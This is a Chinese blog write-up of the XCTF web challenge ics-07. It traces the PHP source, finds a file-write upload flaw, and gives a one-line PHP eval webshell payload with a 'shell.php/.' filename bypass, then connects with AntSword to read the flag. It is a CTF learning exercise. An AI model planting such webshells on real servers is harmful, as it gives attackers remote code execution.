【攻防世界WEB】难度五星15分进阶题:ics-07

本文详细解析了一个涉及PHP源码分析、文件上传漏洞及SQL注入的网络安全问题。作者通过分析代码流程,发现了文件上传路径及利用条件,并成功上传了一句话木马。最终,利用蚁剑或冰蝎等工具连接服务器,找到并展示了flag。
摘要由CSDN通过智能技术生成

二、ics-07

 

解题方法:

1、php源码分析,文件上传漏洞,一句话木马

过程:

robots.txt什么都没有

 

那随便点,只有这个云平台管理中心可以进去

后面还进行了传参

判断是否存在字符型注入

都加上了单/双引号各一个

都没有报错

判断是否存在数字型注入

and 1=1

and 1=2

发现等号是被编码了

还有一个view-source按钮

点击之后出来源码了

 


对源码进行分析:

代码1:

isset() 函数:检测变量是否已设置并且非 NULL

show_source()函数:对文件进行语法高亮显示

header() 函数:向客户端发送原始的 HTTP 报头

 page传参不能为空(为空就die)

page传参不能有index.php,只能包含flag.php


代码2:

preg_match 函数:执行一个正则表达式匹配

chdir() 函数:改变当前的目录,需规定新目录

fopen() 函数:打开文件或者 URL(并伴随权限)

fwrite () 函数:向文件写入字符串,成功返回写入的字符数,否则返回 FALSE

fclose() 函数:关闭文件

 流程是:

1、先传入

2、进行正则过滤

3、改变目录

4、打开文件

5、写入文件

6、关闭文件

(这有不就是文件上传漏洞嘛,上传一句话木马,或者图片马)

且上传的路径为/uploaded/backup/


代码3:

floatval():返回变量的浮点值

substr():截取,这里是截取id的最后以为 必须是9

mysql_real_escape_string() :转义 SQL 语句中使用的字符串中的特殊字符

mysql_query() :执行一条 MySQL 查询

mysql_fetch_object() :从结果集(记录集)中取得一行作为对象

如果输入正确的话,会返回id和user(即是admin)

id:浮点值不为1,并且最后一位要是9,且是字符串(这就特别多了)

前面分析得到:page=flag.php

 获得

id=1

name=admin


思路:

这里最重要的就是达到$_SESSION['admin'] = True

然后再能进行文件上传(上传一句话木马)

然后蚁剑(冰蝎,菜刀)连接

找到flag


发现登录进去并获得id,name了,但是并未跳转到upload页面

(可能是不会显示出来)

尝试POST上传一句话木马

通过代码2中传入的参数,知道是使用con和file

payload:

con=<?php eval($_POST['1']);?>&file=shell.php/.


 

再连接(代码2中知道上传到/uploaded/backup/下)

61.147.171.105:57480/uploaded/backup/shell.php/

 连接进来了

 在html中找到flag.php

 

 cyberpeace{d2f720b48b37fca33797773be4a3c755}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值